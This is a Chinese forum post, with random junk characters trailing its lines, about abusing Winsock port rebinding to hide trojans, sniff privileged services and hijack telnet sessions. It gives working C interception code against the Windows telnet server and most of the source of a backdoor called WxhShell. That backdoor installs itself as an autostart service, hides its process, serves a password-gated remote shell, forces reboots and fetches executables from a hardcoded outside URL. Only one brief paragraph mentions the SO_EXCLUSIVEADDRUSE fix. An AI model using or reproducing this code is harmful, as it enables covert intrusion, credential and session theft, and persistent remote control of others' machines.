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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cf7UV6D g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'GJ'Vli  
j1 Q"s(  
  saddr.sin_family = AF_INET; ^]A,Q%1q^  
$^XCI%DH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {G^f/%  
3 %'Y):  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xD|CQo}:  
N)tqjq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w]ZE('3%W  
|5h~&kA  
  这意味着什么?意味着可以进行如下的攻击: iXJ3B&x  
X u+^41  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9R6]OL)p  
y~ZYI]` J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "N\tR[P!  
k9|8@3(h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %l.5c Sn@  
Vw~st1",[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wm<`0}  
/ ~\ I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m+7/ebj{A  
}+wvZq +c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F4|Z:e,Hr  
v.~uJ.T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j$u=7Z&E  
[G=+f6 a  
  #include ^jiYcg@_[  
  #include E#L"*vh  
  #include $ZEwz;HNo  
  #include    &0='z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Pgp`g.$<  
  int main() HLYTt)f}  
  { }bZcVc2  
  WORD wVersionRequested; !eH9LRp  
  DWORD ret; gq+|Hr  
  WSADATA wsaData; S# 9EBw7  
  BOOL val; ?8O %k<?  
  SOCKADDR_IN saddr; *;noZ9{"+  
  SOCKADDR_IN scaddr; ee+*&CT)  
  int err; <PayP3E  
  SOCKET s; EG|fGkv"  
  SOCKET sc; d77->FX2  
  int caddsize; N;A#K 7A[@  
  HANDLE mt; 5,,b>Z<  
  DWORD tid;   F ^mMyK  
  wVersionRequested = MAKEWORD( 2, 2 ); k ='c*`IE  
  err = WSAStartup( wVersionRequested, &wsaData ); 2Kg+SLU[~  
  if ( err != 0 ) { G+$A|'<`z  
  printf("error!WSAStartup failed!\n"); 13X\PO'9  
  return -1; l^$8;$Rq  
  } PI5a 'k0F  
  saddr.sin_family = AF_INET; 7 z#Xf  
   ofu {g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n:#gKR-J  
`]0E)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ox2?d<dC6  
  saddr.sin_port = htons(23); (i"@{[IP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) av.L%l&d  
  { c@]_V  
  printf("error!socket failed!\n"); sr*3uI-)L  
  return -1; m/`"~@}&  
  } rphfW:  
  val = TRUE; zxV,v*L)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -q}c;0vL-a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9PM\D@A{  
  { AusCU~:>  
  printf("error!setsockopt failed!\n"); Xaca=tsO  
  return -1; T,sArKBI  
  } A{3?G -]*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ju AUeGT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !RJuH;8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -b7q)%V  
;Az9p h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wj'5D0   
  { tsLi5;KA]  
  ret=GetLastError(); _^;;vR%   
  printf("error!bind failed!\n"); Ca?:x tt  
  return -1; Pl>S1  
  } t5qNfiKC  
  listen(s,2); %nmD>QCe  
  while(1) 6]/LrM,23  
  { QQB\$[M!Z  
  caddsize = sizeof(scaddr); heAbxs  
  //接受连接请求 te 0a6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _,U`Iq+X  
  if(sc!=INVALID_SOCKET) giDe  
  { n&`=.[+A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xjplJ'jB  
  if(mt==NULL) **%/Ke[  
  { k6p Xc<]8  
  printf("Thread Creat Failed!\n"); vwlPFr Ll  
  break; "i}?jf {a  
  } !5/jDvh  
  } Q|O! cEW/  
  CloseHandle(mt); |Zn |?#F  
  } $eI=5   
  closesocket(s); [KT'aGK$  
  WSACleanup(); D(m2^\O[  
  return 0; %s^2m"ca}=  
  }   ~; emUU  
  DWORD WINAPI ClientThread(LPVOID lpParam) \G!TC{6  
  { 2}ttC m  
  SOCKET ss = (SOCKET)lpParam; _aR_ [  
  SOCKET sc; {!$E\e^d  
  unsigned char buf[4096]; ^o*$OM7x  
  SOCKADDR_IN saddr; C_&-2Z  
  long num; ?(up!3S'x  
  DWORD val; "-pQL )f  
  DWORD ret; aMxg6\8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rr@S|k:|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zB8 @Wl  
  saddr.sin_family = AF_INET; " ^t3VjN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aBH!K   
  saddr.sin_port = htons(23); &at^~ o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }i"\?M  
  { xUiSAKrcM  
  printf("error!socket failed!\n"); 4490l"  
  return -1; :#?Z)oQpT  
  } z/B[quSio  
  val = 100; aQMUC6cPM@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K!JXsdHK  
  { J`&*r;""V  
  ret = GetLastError(); 3XCePA5z  
  return -1; 7kQZ$sLc  
  } Ic%c%U=i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2=&4@c|cn  
  { -*Voui  
  ret = GetLastError(); SnK#YQCDt  
  return -1; P|>pm]>C  
  } aCq ) hR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |6M:JI8  
  { u@;6r"8q  
  printf("error!socket connect failed!\n"); Y [hTO.LF  
  closesocket(sc); yBd#*3K1  
  closesocket(ss); U]aH4 N  
  return -1; &vDK6w,  
  } ?"d25LyN  
  while(1) 'Mfn:n+  
  { {hS9FdWA;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -2{NIF^H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {z4v_[-2CF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yo#aX^v~y  
  num = recv(ss,buf,4096,0); XIgGE)n  
  if(num>0) 0Y%u[i/  
  send(sc,buf,num,0); r34q9NFT5  
  else if(num==0) $IM}d"/9  
  break; P6n9yJ$,cb  
  num = recv(sc,buf,4096,0); 8"fZ>XQ  
  if(num>0) tp6-j`7u  
  send(ss,buf,num,0); <B }4}-}  
  else if(num==0)  !e+^}s  
  break; M<4tjVQ6  
  } /$q9 Kxb  
  closesocket(ss); (}]ae*  
  closesocket(sc); :y>$N(.8f  
  return 0 ; d]89DdZk  
  } )_m#|U?Rex  
2|LgUA?<  
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========================================================== e^N6h3WF  
cgQ4JY/6  
下边附上一个代码,,WXhSHELL N8]DW_bsB  
#J=@} S)  
========================================================== 8PR1RC J  
zA~aiX  
#include "stdafx.h" %\ifnIQ  
o=&tT,z  
#include <stdio.h> 8lI'[Y?3.  
#include <string.h> H=_ Wio  
#include <windows.h> BI BBp=+  
#include <winsock2.h> mbij& 0  
#include <winsvc.h> $CgJ+ua\8  
#include <urlmon.h> /nbHin#we  
MmZs|pXk  
#pragma comment (lib, "Ws2_32.lib") 9kpCn.rJ  
#pragma comment (lib, "urlmon.lib") 'aW}&!H M  
6N6}3J5  
#define MAX_USER   100 // 最大客户端连接数 qu}&4_`%:V  
#define BUF_SOCK   200 // sock buffer u?ALZxj?  
#define KEY_BUFF   255 // 输入 buffer q ,C)AZ  
W)RCo}f  
#define REBOOT     0   // 重启 #>]o'KQx  
#define SHUTDOWN   1   // 关机 #QWG5  
)L,.K O  
#define DEF_PORT   5000 // 监听端口 5._=m"Pl  
Za*QX|  
#define REG_LEN     16   // 注册表键长度 >+9f{FP 9  
#define SVC_LEN     80   // NT服务名长度 Tlz $LI  
T6P9Icv?@7  
// 从dll定义API |#87|XIJ&~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aUqVcEU1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -naj.omG|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ls^| j%$J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y[0  
7sC8|+  
// wxhshell配置信息 W=[.. d  
struct WSCFG { Y$@?Y/rhR  
  int ws_port;         // 监听端口 xE[CNJ%t^,  
  char ws_passstr[REG_LEN]; // 口令 +2ZBj6 e9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7QOQG:-  
  char ws_regname[REG_LEN]; // 注册表键名 fsA-}Qc  
  char ws_svcname[REG_LEN]; // 服务名 B.J_(V+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lT<4c5 %  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zi!6dl ev  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JdP[ cN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZRK1 UpP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fz3QSr7FU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iG.qMf.  
)|Ho"VEmg  
}; 5Tb3Yy< .  
zUe)f~4  
// default Wxhshell configuration 9b8kRz[ c  
struct WSCFG wscfg={DEF_PORT, :~% zX*   
    "xuhuanlingzhe", 3BTXX0yx  
    1, |X'Pa9u  
    "Wxhshell",  Uu<Tn#nb  
    "Wxhshell", , :10  
            "WxhShell Service", Ja*k |Rz~  
    "Wrsky Windows CmdShell Service", 'K"7Tex  
    "Please Input Your Password: ", .5t|FJ]`$  
  1, "G(^v?x:P  
  "http://www.wrsky.com/wxhshell.exe", _YT9zG  
  "Wxhshell.exe" 1]yjhw9g  
    }; K4H U 9!  
"F$0NYb]I  
// 消息定义模块 WgV'T#*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ftw@nQNU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #?V7kds]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aCwb[7N  
char *msg_ws_ext="\n\rExit."; hv6w=?7  
char *msg_ws_end="\n\rQuit."; 8.g (&F  
char *msg_ws_boot="\n\rReboot..."; ql +tqgo  
char *msg_ws_poff="\n\rShutdown..."; +1R qo  
char *msg_ws_down="\n\rSave to "; ;)SWUXa;{  
3hPj;-u  
char *msg_ws_err="\n\rErr!"; x'uxSeH$  
char *msg_ws_ok="\n\rOK!"; }gfs  
~@v<B I  
char ExeFile[MAX_PATH]; ?)60JWOJ1  
int nUser = 0; MgP6ki1z  
HANDLE handles[MAX_USER]; nVK`H@5fw  
int OsIsNt; t!u{sr{j=  
oD0N<Ln}  
SERVICE_STATUS       serviceStatus; #U=}Pv~wM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =$^<@-;  
:kaHvf  
// 函数声明 #Is/j =  
int Install(void); bM9:h  
int Uninstall(void); uPp9 UW  
int DownloadFile(char *sURL, SOCKET wsh); + pq/:h  
int Boot(int flag); 2f=7`1RCD  
void HideProc(void); -%h0`hOG{  
int GetOsVer(void); %"1*,g{  
int Wxhshell(SOCKET wsl); MmvMuX]#)  
void TalkWithClient(void *cs); (16U]s  
int CmdShell(SOCKET sock); EE^ N01<"\  
int StartFromService(void); 1l~(J:DT  
int StartWxhshell(LPSTR lpCmdLine); }'FNGn.~#  
C8J3^ ?7E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >`@c9 m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hZudVBn  
+( *;F4>  
// 数据结构和表定义 )(Z)yz  
SERVICE_TABLE_ENTRY DispatchTable[] = 6z(eW]p  
{ XQH wu  
{wscfg.ws_svcname, NTServiceMain}, tSZd0G<A<o  
{NULL, NULL} 5GwXZ;(G  
}; N?7vcN+-t)  
X53TFRxnT  
// 自我安装 x D(RjL+  
int Install(void) Qxvj`Ge  
{ UB4M=R|  
  char svExeFile[MAX_PATH]; RgPY,\_9+  
  HKEY key; Vd'KN2Jm  
  strcpy(svExeFile,ExeFile); #]BpTpRAe<  
c T[.T#I  
// 如果是win9x系统,修改注册表设为自启动 yD0,q%B`}  
if(!OsIsNt) { XHN`f#(w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w(y#{!%+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ke_ & dgsq  
  RegCloseKey(key); upJ|`,G{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :N3'$M"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /!u#S9_B  
  RegCloseKey(key); K)h\X~s  
  return 0; wl*"Vagb  
    } sbZ^BFqp  
  } x+L G4++  
} _QhB0/C  
else { ][b2Q>  
dZ kr#>  
// 如果是NT以上系统,安装为系统服务 I>]t% YKj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  h,D6MP  
if (schSCManager!=0) E2PMcT{)_  
{ rQ4i%.  
  SC_HANDLE schService = CreateService 49BLJ|:P?  
  ( /pa8>_,~  
  schSCManager, ^w+jPT-n  
  wscfg.ws_svcname, {U`B|  
  wscfg.ws_svcdisp, .Fz5K&E=  
  SERVICE_ALL_ACCESS, T%Vg0Y)P;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Od>^yhn  
  SERVICE_AUTO_START, bwo{ Lw~  
  SERVICE_ERROR_NORMAL, A ko}v"d  
  svExeFile, m-~eCFc  
  NULL, (f5v{S6b(  
  NULL, l<](8oc. w  
  NULL, R/yOy ^<  
  NULL, h%hE$2  
  NULL +dkbt%7M  
  ); s1[_Pk;!  
  if (schService!=0) bEXm@-ou  
  { .Y.{j4[LQ  
  CloseServiceHandle(schService); eBK s-2r  
  CloseServiceHandle(schSCManager); ]Tje6i F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gAx8r-` `  
  strcat(svExeFile,wscfg.ws_svcname); ) OqQz7'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -*?Y4}mK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I) $of9   
  RegCloseKey(key); )P{I<TBI;  
  return 0; 5>XrNc91  
    } 4LCgQS6  
  } A/ eZ!"Y  
  CloseServiceHandle(schSCManager); HzO6hb{jJO  
} J.`z;0]op  
} KAR XC,z  
~dIb>[7wy  
return 1; ^UF]%qqOn  
} fs]9HK/@\  
I<w`+<o(  
// 自我卸载 CIM 9~:\  
int Uninstall(void) [_3Rhp:  
{ >!j= {hK  
  HKEY key; W~1/vJ.*l  
b&$ ?.z  
if(!OsIsNt) { =A6/D    
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `0r=ND5.  
  RegDeleteValue(key,wscfg.ws_regname); (1bz.N8z  
  RegCloseKey(key); `.# l_-U{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @G vDl=.  
  RegDeleteValue(key,wscfg.ws_regname); G-U%  
  RegCloseKey(key); |~! R5|Q  
  return 0; ." m6zq  
  } u}QB-oU  
} Dm@wTt8N(  
} XUD/\MoV  
else { ub "(,k P  
s$Il;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {__Z\D2I  
if (schSCManager!=0) !b O8apn  
{ JJnZbJti  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SL;\S74  
  if (schService!=0) Z=O2tR  
  { 7Q<uk[d0  
  if(DeleteService(schService)!=0) { +uF!.!}  
  CloseServiceHandle(schService); &gkGH<oaX  
  CloseServiceHandle(schSCManager); *yuw8  
  return 0; K_V44f1f  
  } @jW_ r j:<  
  CloseServiceHandle(schService); i<g|+}I  
  } O&# bC  
  CloseServiceHandle(schSCManager); o7feH 6Sh  
} (}Ql#q K  
} #vy:aq<bjE  
"y>\ mC  
return 1; mMqT-jT  
} '676\2.  
A9! gww  
// 从指定url下载文件 F|*{Ma  
int DownloadFile(char *sURL, SOCKET wsh) d{.cIv  
{ Q6y883>9  
  HRESULT hr; {~ yj]+Im  
char seps[]= "/"; '0|AtO77  
char *token; %$j)?e  
char *file; \s2hep  
char myURL[MAX_PATH]; -ob_]CKtJ~  
char myFILE[MAX_PATH]; ZdEeY|j  
a1p:~;f}[  
strcpy(myURL,sURL); DBl.bgf  
  token=strtok(myURL,seps); 0f vQPs!O  
  while(token!=NULL)  6h N~<  
  { U,C L*qTF  
    file=token; #q~SfG  
  token=strtok(NULL,seps); 1<]g7W  
  } ,ZcW+!  
zCD?5*7  
GetCurrentDirectory(MAX_PATH,myFILE); 07"dU  
strcat(myFILE, "\\"); \5^#5_<  
strcat(myFILE, file); lKs*KwG  
  send(wsh,myFILE,strlen(myFILE),0); v]g/ 5qI&  
send(wsh,"...",3,0); e-4XNL[F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~R.8r-kD`  
  if(hr==S_OK) ^*C+^l&J!  
return 0; sXI_!)H  
else A~Eu_m  
return 1; c/ wzV  
>Dpz0v  
} A)En25,X  
]RmQ*F-  
// 系统电源模块 -6MgC9]  
int Boot(int flag) 4-[L^1%S[  
{ 8WU UE=p  
  HANDLE hToken; [~ bfM6Jw  
  TOKEN_PRIVILEGES tkp; vy#n7hdCc  
wKhuUZj{  
  if(OsIsNt) { 4KE"r F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SU"-%}~O#,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CGIcuHp  
    tkp.PrivilegeCount = 1; [7?K9r\#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KyW6[WA9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 22|eiW/a  
if(flag==REBOOT) { vV1F|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p5^,3&  
  return 0; h&J6  
} n6; jIf|  
else { ;Jt*s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d$s1l  
  return 0; X 'Q$v~/  
} \_FX}1Wc2.  
  } In|:6YDL&  
  else { ~#iRh6 ^98  
if(flag==REBOOT) { gd[jYej'RP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KotJ,s]B  
  return 0; C>Qgd9  
} ^.,pq?_  
else { ilQ R@yp*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,#&lNQ'I  
  return 0; \`o+Le+%  
} & |u  
} 7]Y Le+Ds  
<3z]d?u  
return 1; AJSe +1  
} $78fR8|r-  
PJN TIa  
// win9x进程隐藏模块 au2 ieZZ[  
void HideProc(void) ; A~S){  
{ oju7<b9Ez  
?b2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F ^Rt 6Io  
  if ( hKernel != NULL ) >/1N#S#9  
  { %\=5,9A\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Cz_LyL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xh[Mmq/R  
    FreeLibrary(hKernel); HDYr?t~V  
  } CfQOG7e@  
./mh 9ax  
return; bT}P":*y  
} CQ2{5  
EtJyI&7VK  
// 获取操作系统版本 z71.5n!C  
int GetOsVer(void) `?{QCBVj  
{ (E59)z -  
  OSVERSIONINFO winfo; 3N(s)N_P M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p>=YPi/d  
  GetVersionEx(&winfo); ?8. $A2(Xw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xRW~xr2h@  
  return 1;  @jO3+  
  else #_y#sDfzh  
  return 0; d/Xbk%`p  
} cu(2BDfiL  
%TxFdF{A  
// 客户端句柄模块 2hAu~#X  
int Wxhshell(SOCKET wsl) oAe]/j$  
{ xn1  
  SOCKET wsh; m v%fX2.  
  struct sockaddr_in client; Y8`4K*58%  
  DWORD myID; B:)9hF?o@  
fLL_{o0T  
  while(nUser<MAX_USER) {<iIL3\mC  
{ :j9{n ,F  
  int nSize=sizeof(client); [Rw0']i`4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $'dJ+@  
  if(wsh==INVALID_SOCKET) return 1; :\L{S  
VdQ}G!d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !p4w 8  
if(handles[nUser]==0) $[5ihV$u  
  closesocket(wsh); y7dnXO!g9-  
else 2 ]5dSXD  
  nUser++; [jve |-v=  
  } w-};\]I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YvE$fX=  
2Ch!LS:+  
  return 0; g !w7Yv  
} X|t?{.p  
h<\o[n7j  
// 关闭 socket A:ls'MkZ4  
void CloseIt(SOCKET wsh) `o yz"07m  
{ ct=|y(_  
closesocket(wsh); 7(^<Z5@  
nUser--; G!T)V2y  
ExitThread(0); RVy8%[Gcq  
} bwUsE U 0  
xi8RE@gm  
// 客户端请求句柄 E{sTxO I$  
void TalkWithClient(void *cs) |;ycEB1  
{ _H>ABo  
L B1 ui  
  SOCKET wsh=(SOCKET)cs; RS!~5nk5  
  char pwd[SVC_LEN]; #>GUfhou)  
  char cmd[KEY_BUFF]; Bu">)AnN  
char chr[1]; :X Er{X  
int i,j; xz[a3In+  
PmyS6a@  
  while (nUser < MAX_USER) { ]h~=lItTRZ  
:q S=_!1  
if(wscfg.ws_passstr) { bVSa}&*kM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x0@J~ _0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZdeRLX  
  //ZeroMemory(pwd,KEY_BUFF); j':Ybr>BR  
      i=0; S*Un$ngAh  
  while(i<SVC_LEN) { H>_ FCV8  
p{xO+Nx1a  
  // 设置超时 tiSN amvG1  
  fd_set FdRead; K2>(C$Z  
  struct timeval TimeOut; 1BwCJ7?8  
  FD_ZERO(&FdRead); z"bgtlfb8  
  FD_SET(wsh,&FdRead); ,Y=r] fk  
  TimeOut.tv_sec=8; KG6ki_  
  TimeOut.tv_usec=0; &10vdAnBRC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ke,UwYG2~G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 55MsF}p  
8:0QIkqk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3]WIN_h  
  pwd=chr[0]; =_I2ek  
  if(chr[0]==0xd || chr[0]==0xa) { %/b?T]{  
  pwd=0; frbKi _1  
  break; ZXljCiNn+\  
  } 01}az~&;35  
  i++; GLQ1rT  
    } JDfkm+}uY  
|4aV~n[>#  
  // 如果是非法用户,关闭 socket f!a[+^RB:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q ,30  
} zg+78  
N[d*_KN.!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ \ LA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f;`pj`-k%  
zm) ]cq  
while(1) { db$Th=s[  
zvYkWaa_Qz  
  ZeroMemory(cmd,KEY_BUFF); xu(5U`K  
L0ig%  
      // 自动支持客户端 telnet标准   E ;65kZ  
  j=0; K#H}=Y A  
  while(j<KEY_BUFF) { :&}(?=<R}L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7S LJLn3d  
  cmd[j]=chr[0]; Ac'[(  
  if(chr[0]==0xa || chr[0]==0xd) { f305yo  
  cmd[j]=0; I]bqle0M  
  break; evNo(U\C  
  } 3Ba>a(E  
  j++; fs+l  
    } j9u/R01d  
8o#*0d|  
  // 下载文件 ]c]rIOTN  
  if(strstr(cmd,"http://")) { asb-syqU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *,5V;7OR  
  if(DownloadFile(cmd,wsh)) <uDEDb1|l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 34k<7X`I  
  else 8M*[RlUJB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J * $u  
  } CdgZq\  
  else { :zdMV6s  
j9n3  
    switch(cmd[0]) { dqO!p6  
  _"_ W KlN  
  // 帮助 z OD5a=[1  
  case '?': { X> :@`}bq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #XR<}OYcL  
    break; GY,l&.&  
  } ]J+ }WR  
  // 安装 T#xCu|5  
  case 'i': { k v1q \  
    if(Install()) #\KSv Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*}#?g  
    else P1)f-:;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W#87T_7T[  
    break; ac"Pn? q  
    } VXXo\LQUU  
  // 卸载 l|z 'Lwwm5  
  case 'r': { ?9xaBWf  
    if(Uninstall()) ?F]Yebp^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xd/gvg{??0  
    else y E-H-r~I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Kt_irD  
    break; ^IGutZov  
    } cZI )lX  
  // 显示 wxhshell 所在路径 {E1g+><  
  case 'p': { l{F^"_U  
    char svExeFile[MAX_PATH]; WV}<6r$e  
    strcpy(svExeFile,"\n\r"); O^ZOc0<  
      strcat(svExeFile,ExeFile); a)=WDRk  
        send(wsh,svExeFile,strlen(svExeFile),0); T`KH7y|bv  
    break; jjbBv~vs  
    } &QO~p3M  
  // 重启 BoZ])Y6=  
  case 'b': { RFd.L@-]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u H[d%y/  
    if(Boot(REBOOT)) +6 t<FH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:'C|  
    else { //cj$}Rn!  
    closesocket(wsh); HKr")K%  
    ExitThread(0); JF!?i6V  
    } ~6m-2-14q  
    break; uqwB`<>KJ  
    } fmZ5rmw!  
  // 关机 \U;4 \  
  case 'd': { 1| "s_m>g  
